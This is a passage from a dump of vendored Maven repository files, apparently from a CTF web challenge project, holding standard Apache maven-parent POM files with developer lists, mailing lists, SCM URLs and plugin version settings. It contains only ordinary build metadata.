Bentmann</name>\n      <email>bentmann@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>chrisjs</id>\n      <name>Chris Stevenson</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dantran</id>\n      <name>Dan Tran</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dblevins</id>\n      <name>David Blevins</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dlr</id>\n      <name>Daniel Rall</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>epunzalan</id>\n      <name>Edwin Punzalan</name>\n      <email>epunzalan@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>-8</timezone>\n    </developer>\n    <developer>\n      <id>felipeal</id>\n      <name>Felipe Leme</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>handyande</id>\n      <name>Andrew Williams</name>\n      <email>handyande@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>0</timezone>\n    </developer>\n    <developer>\n      <id>jjensen</id>\n      <name>Jeff Jensen</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>mkleint</id>\n      <name>Milos Kleint</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>nicolas</id>\n      <name>Nicolas De Loof</name>\n      <email>nicolas@apache.org</email>\n      <organization>Capgemini</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>oching</id>\n      <name>Maria Odea B. Ching</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>pschneider</id>\n      <name>Patrick Schneider</name>\n      <email>pschneider@gmail.com</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>rafale</id>\n      <name>Raphaël Piéroni</name>\n      <email>rafale@apache.org</email>\n      <organization>Dexem</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>rgoers</id>\n      <name>Ralph Goers</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>rinku</id>\n      <name>Rahul Thakur</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>shinobu</id>\n      <name>Shinobu Kuwai</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>smorgrav</id>\n      <name>Torbjorn Eikli Smorgrav</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>ogusakov</id>\n      <name>Oleg Gusakov</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <!--End Committers-->\n  </developers>\n\n  <mailingLists>\n    <mailingList>\n      <name>Maven Announcements List</name>\n      <post>announce@maven.apache.org</post>\n      <subscribe>announce-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-announce/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/announce@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven-Announcements-f15617.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.announce</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Notifications List</name>\n      <subscribe>notifications-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>notifications-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-notifications/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/notifications@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Notifications-f15574.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.notifications</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-10</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-10</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/pom/tags/maven-parent-10</url>\n  </scm>\n  <ciManagement>\n    <system>Hudson</system>\n    <url>http://ci.sonatype.org</url>\n    <notifiers>\n      <notifier>\n        <type>mail</type>\n        <configuration>\n          <address>notifications@maven.apache.org</address>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <distributionManagement>\n    <repository>\n      <id>maven.staging</id>\n      <url>scp://people.apache.org/www/people.apache.org/builds/maven/${project.version}/staging-repo</url>\n    </repository>\n    <snapshotRepository>\n      <id>apache.snapshots</id>\n      <name>${distMgmtSnapshotsName}</name>\n      <url>${distMgmtSnapshotsUrl}</url>\n    </snapshotRepository>\n    <site>\n      <id>apache.website</id>\n      <url>scp://people.apache.org/www/maven.apache.org</url>\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <distMgmtSnapshotsName>Apache Development Snapshot Repository</distMgmtSnapshotsName>\n    <distMgmtSnapshotsUrl>scp://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</distMgmtSnapshotsUrl>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n  </properties>\n\n  <build>\n    <plugins>\n      <!-- We want to package up license resources in the JARs produced -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-remote-resources-plugin</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>process</goal>\n            </goals>\n            <configuration>\n              <resourceBundles>\n                <resourceBundle>org.apache:apache-jar-resource-bundle:1.4</resourceBundle>\n              </resourceBundles>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n    <pluginManagement>\n      <plugins>\n        <!-- set versions of common plugins for reproducibility, ordered alphabetically -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-antrun-plugin</artifactId>\n          <version>1.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.0.2</version>\n          <configuration>\n            <source>1.4</source>\n            <target>1.4</target>\n            <encoding>${project.build.sourceEncoding}</encoding>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-docck-plugin</artifactId>\n          <version>1.0</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-enforcer-plugin</artifactId>\n          <version>1.0-alpha-4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.0-alpha-4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-invoker-plugin</artifactId>\n          <version>1.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.2</version>\n          <configuration>\n            <archive>\n              <manifest>\n                <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n                <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n              </manifest>\n            </archive>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-plugin-plugin</artifactId>\n          <version>2.4.3</version>\n        </plugin>\n        <!-- START SNIPPET: release-plugin-configuration -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.0-beta-8</version>\n          <configuration>\n            <useReleaseProfile>false</useReleaseProfile>\n            <goals>deploy</goals>\n            <arguments>-Prelease</arguments>\n          </configuration>\n        </plugin>\n        <!-- END SNIPPET: release-plugin-configuration -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-remote-resources-plugin</artifactId>\n          <version>1.0</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.3</version>\n          <configuration>\n            <encoding>${project.build.sourceEncoding}</encoding>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-scm-plugin</artifactId>\n          <version>1.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>2.0-beta-7</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.0.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.4.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>clirr-maven-plugin</artifactId>\n          <version>2.2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-maven-plugin</artifactId>\n          <version>1.3.8</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.modello</groupId>\n          <artifactId>modello-maven-plugin</artifactId>\n          <version>1.0-alpha-21</version>\n        </plugin>\n        <!-- set versions of common reporting plugins for site reproducibility, ordered alphabetically -->\n        <!-- won't help until MNG-3385 is fixed\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-checkstyle-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jxr-plugin</artifactId>\n          <version>2.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-pmd-plugin</artifactId>\n          <version>2.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-project-info-reports-plugin</artifactId>\n          <version>2.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-report-plugin</artifactId>\n          <version>2.4.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>clirr-maven-plugin</artifactId>\n          <version>2.2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>cobertura-maven-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>taglist-maven-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>-->\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.1</version>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>quality-checks</id>\n      <activation>\n        <property>\n          <name>quality-checks</name>\n          <value>true</value>\n        </property>\n      </activation>\n      <build>\n        <plugins>\n\n          <!--<plugin>\n          Clirr needs to be more flexble before we can force this everywhere. New releases that don't have previous artifacts to compare cause Clirr to blow up. And Clirr needs to be smart enough to only look at the previous release artifact so we can make this work during snapshot builds, otherwise it just blows up when you try to do a release.\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>clirr-check</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>-->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <version>2.4</version>\n            <configuration>\n              <excludeRoots>\n                <excludeRoot>${project.build.directory}/generated-sources/modello</excludeRoot>\n                <excludeRoot>${project.build.directory}/generated-sources/plugin</excludeRoot>\n              </excludeRoots>\n            </configuration>\n            <executions>\n              <execution>\n                <id>cpd-check</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>cpd-check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>reporting</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>cobertura-maven-plugin</artifactId>\n            <version>2.2</version>\n            <executions>\n              <execution>\n                <phase>clean</phase>\n                <goals>\n                  <goal>clean</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-project-info-reports-plugin</artifactId>\n            <version>2.1</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-surefire-report-plugin</artifactId>\n            <version>2.4.3</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-checkstyle-plugin</artifactId>\n            <version>2.2</version>\n            <configuration>\n              <configLocation>http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-checkstyle-plugin/src/main/resources/config/maven_checks.xml</configLocation>\n              <headerLocation>http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-checkstyle-plugin/src/main/resources/config/maven-header.txt</headerLocation>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <version>2.4</version>\n            <configuration>\n              <rulesets>\n                <ruleset>http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-pmd-plugin/src/main/resources/rulesets/maven.xml</ruleset>\n              </rulesets>\n              <excludeRoots>\n                <excludeRoot>${project.build.directory}/generated-sources/modello</excludeRoot>\n                <excludeRoot>${project.build.directory}/generated-sources/plugin</excludeRoot>\n              </excludeRoots>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>cobertura-maven-plugin</artifactId>\n            <version>2.2</version>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>taglist-maven-plugin</artifactId>\n            <version>2.2</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jxr-plugin</artifactId>\n            <version>2.1</version>\n            <configuration>\n              <inputEncoding>${project.build.sourceEncoding}</inputEncoding>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <version>2.5</version>\n            <configuration>\n              <encoding>${project.build.sourceEncoding}</encoding>\n              <links>\n                <link>http://java.sun.com/j2se/1.4.2/docs/api</link>\n                <link>http://java.sun.com/j2ee/1.4/docs/api</link>\n                <link>http://java.sun.com/j2se/1.5.0/docs/api</link>\n                <link>http://commons.apache.org/collections/apidocs-COLLECTIONS_3_0/</link>\n                <link>http://commons.apache.org/dbcp/apidocs/</link>\n                <link>http://commons.apache.org/fileupload/apidocs/</link>\n                <link>http://commons.apache.org/httpclient/apidocs/</link>\n                <link>http://commons.apache.org/logging/apidocs/</link>\n                <link>http://commons.apache.org/pool/apidocs/</link>\n                <link>http://junit.sourceforge.net/javadoc/</link>\n                <link>http://logging.apache.org/log4j/1.2/apidocs/</link>\n                <link>http://jakarta.apache.org/regexp/apidocs/</link>\n                <link>http://velocity.apache.org/engine/releases/velocity-1.5/apidocs/</link>\n              </links>\n            </configuration>\n            <reportSets>\n              <reportSet>\n                <reports>\n                  <report>javadoc</report>\n                  <report>test-javadoc</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <!--plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n            <version>2.2.2</version>\n          </plugin-->\n        </plugins>\n      </reporting>\n    </profile>\n    <!-- START SNIPPET: release-profile -->\n    <profile>\n      <id>release</id>\n      <build>\n        <plugins>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <!-- We want to deploy the artifact to a staging location for perusal -->\n          <plugin>\n            <inherited>true</inherited>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-deploy-plugin</artifactId>\n            <configuration>\n              <altDeploymentRepository>${deploy.altRepository}</altDeploymentRepository>\n              <updateReleaseInfo>true</updateReleaseInfo>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <configuration>\n              <encoding>${project.build.sourceEncoding}</encoding>\n            </configuration>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <!--plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>clirr-check</id>\n                <phase>package</phase>\n                <goals>\n                  <goal>check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin-->\n        </plugins>\n      </build>\n    </profile>\n    <!-- END SNIPPET: release-profile -->\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/10/maven-parent-10.pom.sha1",
    "content": "281aafa31dfa9544070448ea8f353434f53267e4"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/11/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:35 CST 2018\nmaven-parent-11.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/11/maven-parent-11.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache</groupId>\n    <artifactId>apache</artifactId>\n    <version>5</version>\n    <relativePath>../asf/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven</groupId>\n  <artifactId>maven-parent</artifactId>\n  <version>11</version>\n  <packaging>pom</packaging>\n\n  <name>Apache Maven</name>\n  <description>Maven is a software project management and comprehension tool. Based on the concept of a project object model (POM), Maven can manage a project's build, reporting and documentation from a central piece of information.</description>\n  <url>http://maven.apache.org/</url>\n  <inceptionYear>2002</inceptionYear>\n\n  <!-- Developers listed by PMC Chair, PMC, Committers, Contributers, all alphabetical-->\n  <developers>\n    <developer>\n      <id>jvanzyl</id>\n      <name>Jason van Zyl</name>\n      <email>jason@maven.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Chair</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>aheritier</id>\n      <name>Arnaud Heritier</name>\n      <email>aheritier@apache.org</email>\n      <organization>OCTO Technology</organization>\n      <organizationUrl>http://www.octo.com</organizationUrl>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>bentmann</id>\n      <name>Benjamin Bentmann</name>\n      <email>bentmann@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>brett</id>\n      <name>Brett Porter</name>\n      <email>brett@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+10</timezone>\n    </developer>\n    <developer>\n      <id>brianf</id>\n      <name>Brian Fox</name>\n      <email>brianf@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>carlos</id>\n      <name>Carlos Sanchez</name>\n      <email>carlos@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>dennisl</id>\n      <name>Dennis Lundberg</name>\n      <email>dennisl@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>dfabulich</id>\n      <name>Daniel Fabulich</name>\n      <email>dfabulich@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-8</timezone>\n    </developer>\n    <developer>\n      <id>evenisse</id>\n      <name>Emmanuel Venisse</name>\n      <email>evenisse@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>fgiust</id>\n      <name>Fabrizio Giustina</name>\n      <email>fgiust@apache.org</email>\n      <organization>openmind</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>hboutemy</id>\n      <name>Herve Boutemy</name>\n      <email>hboutemy@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>jdcasey</id>\n      <name>John Casey</name>\n      <email>jdcasey@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>joakime</id>\n      <name>Joakim Erdfelt</name>\n      <email>joakime@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>jstrachan</id>\n      <name>James Strachan</name>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jtolentino</id>\n      <name>Ernesto Tolentino Jr.</name>\n      <email>jtolentino@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+8</timezone>\n    </developer>\n    <developer>\n      <id>jmcconnell</id>\n      <name>Jesse McConnell</name>\n      <email>jmcconnell@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>kenney</id>\n      <name>Kenney Westerhof</name>\n      <email>kenney@apache.org</email>\n      <organization>Neonics</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>ltheussl</id>\n      <name>Lukas Theussl</name>\n      <email>ltheussl@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>mperham</id>\n      <name>Mike Perham</name>\n      <email>mperham@gmail.com</email>\n      <organization>IBM</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>olamy</id>\n      <name>Olivier Lamy</name>\n      <email>olamy@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>rgoers</id>\n      <name>Ralph Goers</name>\n      <email>rgoers@apache.org</email>\n      <organization>Intuit</organization>\n      <timezone>-8</timezone>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>snicoll</id>\n      <name>Stephane Nicoll</name>\n      <email>snicoll@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>trygvis</id>\n      <name>Trygve Laugstol</name>\n      <email>trygvis@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>vmassol</id>\n      <name>Vincent Massol</name>\n      <email>vmassol@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>vsiveton</id>\n      <name>Vincent Siveton</name>\n      <email>vsiveton@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>wsmoak</id>\n      <name>Wendy Smoak</name>\n      <email>wsmoak@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-7</timezone>\n    </developer>\n    <developer>\n      <id>dkulp</id>\n      <name>Daniel Kulp</name>\n      <email>dkulp@apache.org</email>\n      <organization>IONA</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n\n    <!--Committers-->\n    <developer>\n      <id>aramirez</id>\n      <name>Allan Q. Ramirez</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>baerrach</id>\n      <name>Barrie Treloar</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bayard</id>\n      <name>Henri Yandell</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bellingard</id>\n      <name>Fabrice Bellingard</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>chrisjs</id>\n      <name>Chris Stevenson</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dantran</id>\n      <name>Dan Tran</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dblevins</id>\n      <name>David Blevins</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dlr</id>\n      <name>Daniel Rall</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>epunzalan</id>\n      <name>Edwin Punzalan</name>\n      <email>epunzalan@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>-8</timezone>\n    </developer>\n    <developer>\n      <id>felipeal</id>\n      <name>Felipe Leme</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>handyande</id>\n      <name>Andrew Williams</name>\n      <email>handyande@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>0</timezone>\n    </developer>\n    <developer>\n      <id>jjensen</id>\n      <name>Jeff Jensen</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>mkleint</id>\n      <name>Milos Kleint</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>nicolas</id>\n      <name>Nicolas De Loof</name>\n      <email>nicolas@apache.org</email>\n      <organization>Capgemini</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>oching</id>\n      <name>Maria Odea B. Ching</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>pschneider</id>\n  